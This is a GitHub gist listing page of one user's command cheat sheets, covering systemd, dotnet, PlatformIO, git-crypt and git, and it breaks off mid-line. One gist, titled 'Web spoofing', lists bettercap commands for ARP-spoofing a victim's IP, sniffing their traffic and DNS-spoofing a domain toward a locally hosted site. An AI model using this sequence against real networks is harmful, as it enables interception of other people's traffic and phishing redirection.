Skip to content

Instantly share code, notes, and snippets.

@BryanWV
BryanWV / Daemons.md
Last active March 19, 2025 19:14
Daemons - Services in Linux

systemctl list-units --type=service --state=running
systemctl status NAME_OF_SERVICE
systemctl edit NAME_OF_SERVICE

Show service configuration

systemctl show NAME_OF_SERVICE
systemctl restart NAME_OF_SERVICE

@BryanWV
BryanWV / dotnet-basic.md
Last active March 25, 2025 23:30
dotnet basic commands
dotnet --info // SDK version
dotnet new list // list of every template
dotnet clean && dotnet restore && dotnet build && dotnet run
sudo dotnet workload install wasm-tools
@BryanWV
BryanWV / platformio.txt
Created February 7, 2025 23:11
Platformio basic commands
pio run --target upload // upload code into microcontroller
pio device monitor // activate serial momitor
@BryanWV
BryanWV / gist:8105823ed79043b00c387ba5964ab8c1
Created January 22, 2025 23:14
Web spoofing basic commands to start with
sudo bettercap
net.probe on //Detection Phase. See devices available
net.show // List devices with their IPs & MAC addresses
set arp.spoof.targets <victim's IP> //Arp spoofing
arp.spoof on
net.sniff on //Ability to spy in victim's traffic
net.sniff off
set.dns.spoof.domains <myamazon.com>
service apache2 start //Start a website for the redirection
ifconfig // Check created website IP
@BryanWV
BryanWV / git-crypt.sh
Created January 20, 2025 20:04
Basic commands to initialize and use git-crypt in a project
#If hasn't been installed yet
sudo apt install giy-crypt
#Inside the project folder
git-crypt init # Initialize git-crypt
git-crypt export-key ./git-key#Creates a key to encrypt. It is saved in the current project folder with the name "git-key"
touch .gitignore && touch .gitattributes
echo git-key >> .gitignore # the git-key file won't be pushed to a remote file
echo "<file-pattern> filter=git-crypt diff=git-crypt" >> .gitattributes
#<file-pattern> may be the filename, extension or folder that will be encrypred. Cheat sheet: https://github.com/kenmueller/gitignore
git-crypt status #Check the files that are going to be encrypted of unencrypted
@BryanWV
BryanWV / git-basic.md
Last active March 6, 2025 17:24
Basic Git commands

Step by step

If you want to work based on a remote repository which has some files, use "git clone /path/repo"
Or else, if you have done some work locally and you wanna merge with a completely empty remote repo, and start working locally, use "git init", "git remote add origin Link_of_repo", "git push --set-upstream origin main"
However, if you have done some work locally and you wanna merge with a remote repo which has some files, use "git init", "git remote add origin _Link-repo", "git pull", "git checkout main -f", "git branch --set-upstream-to origin/main"

git init (initialize Git into your local project)
git add --all (To add every file/changes to staging. In other words, it's used for preparing the files and changes to publish them")
git commit -m"Message for commit"
(A commit is a record of all the changes you made, intermediate step before publishing the changes, or better said, pusblising to Production)
git c